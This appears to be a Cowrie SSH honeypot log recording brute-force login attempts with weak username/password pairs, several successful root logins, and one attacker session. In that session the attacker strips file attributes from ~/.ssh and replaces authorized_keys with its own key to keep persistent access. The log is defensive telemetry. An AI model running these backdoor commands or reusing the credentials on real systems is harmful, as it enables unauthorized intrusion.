{"eventid":"cowrie.login.failed","username":"andrey","password":"1234","message":"login attempt [andrey/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:40.432415Z","src_ip":"68.183.236.1","session":"5310dc4fc8a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joan","password":"123","message":"login attempt [joan/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:40.986587Z","src_ip":"103.134.154.36","session":"a40b74558959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:41.680532Z","src_ip":"68.183.236.1","session":"5310dc4fc8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:42.216453Z","src_ip":"103.134.154.36","session":"a40b74558959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":36390,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f48a1b3473c","protocol":"ssh","message":"New connection: 2.57.122.96:36390 (159.203.135.109:22) [session: 4f48a1b3473c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:46.783666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:46.788425Z","src_ip":"2.57.122.96","session":"4f48a1b3473c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:46.893077Z","src_ip":"2.57.122.96","session":"4f48a1b3473c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:47.323546Z","src_ip":"2.57.122.96","session":"4f48a1b3473c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:48.436038Z","src_ip":"2.57.122.96","session":"4f48a1b3473c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":49817,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad154dc1349","protocol":"ssh","message":"New connection: 42.112.42.129:49817 (10.17.0.5:22) [session: 9ad154dc1349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:58.798532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:58.802318Z","src_ip":"42.112.42.129","session":"9ad154dc1349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:59.075803Z","src_ip":"42.112.42.129","session":"9ad154dc1349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eadmin","password":"12345","message":"login attempt [eadmin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:00.164511Z","src_ip":"42.112.42.129","session":"9ad154dc1349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:01.430993Z","src_ip":"42.112.42.129","session":"9ad154dc1349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":55334,"dst_ip":"159.203.135.109","dst_port":22,"session":"5986ba095578","protocol":"ssh","message":"New connection: 136.248.247.188:55334 (159.203.135.109:22) [session: 5986ba095578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:16.111228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:16.117200Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:16.250655Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cloud1234","message":"login attempt [root/cloud1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:16.824447Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.137008Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.140475Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.144873Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.282451Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.665482Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.669014Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.810084Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.814362Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":55344,"dst_ip":"159.203.135.109","dst_port":22,"session":"2df77adb3139","protocol":"ssh","message":"New connection: 136.248.247.188:55344 (159.203.135.109:22) [session: 2df77adb3139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.944001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:17.949115Z","src_ip":"136.248.247.188","session":"2df77adb3139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:18.089521Z","src_ip":"136.248.247.188","session":"2df77adb3139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:18.684209Z","src_ip":"136.248.247.188","session":"2df77adb3139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:19.828958Z","src_ip":"136.248.247.188","session":"2df77adb3139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":55348,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b72a4ad655a","protocol":"ssh","message":"New connection: 136.248.247.188:55348 (159.203.135.109:22) [session: 5b72a4ad655a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:19.955512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:19.960322Z","src_ip":"136.248.247.188","session":"5b72a4ad655a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:20.096025Z","src_ip":"136.248.247.188","session":"5b72a4ad655a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":50894,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa64e4e66ef4","protocol":"ssh","message":"New connection: 163.7.6.74:50894 (10.17.0.5:22) [session: aa64e4e66ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:20.109609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:20.114503Z","src_ip":"163.7.6.74","session":"aa64e4e66ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:20.363525Z","src_ip":"163.7.6.74","session":"aa64e4e66ef4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:20.667683Z","src_ip":"136.248.247.188","session":"5b72a4ad655a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:20.806007Z","src_ip":"136.248.247.188","session":"5b72a4ad655a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:20.813230Z","src_ip":"136.248.247.188","session":"5986ba095578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sistema","password":"12345","message":"login attempt [sistema/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:21.391326Z","src_ip":"163.7.6.74","session":"aa64e4e66ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:22.642811Z","src_ip":"163.7.6.74","session":"aa64e4e66ef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":32966,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d7ceb6c4306","protocol":"ssh","message":"New connection: 103.193.178.240:32966 (159.203.135.109:22) [session: 3d7ceb6c4306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:56.811992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:56.816741Z","src_ip":"103.193.178.240","session":"3d7ceb6c4306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:58.525218Z","src_ip":"103.193.178.240","session":"3d7ceb6c4306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"Student","message":"login attempt [student/Student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:35:59.342847Z","src_ip":"103.193.178.240","session":"3d7ceb6c4306","protocol":"ssh"}
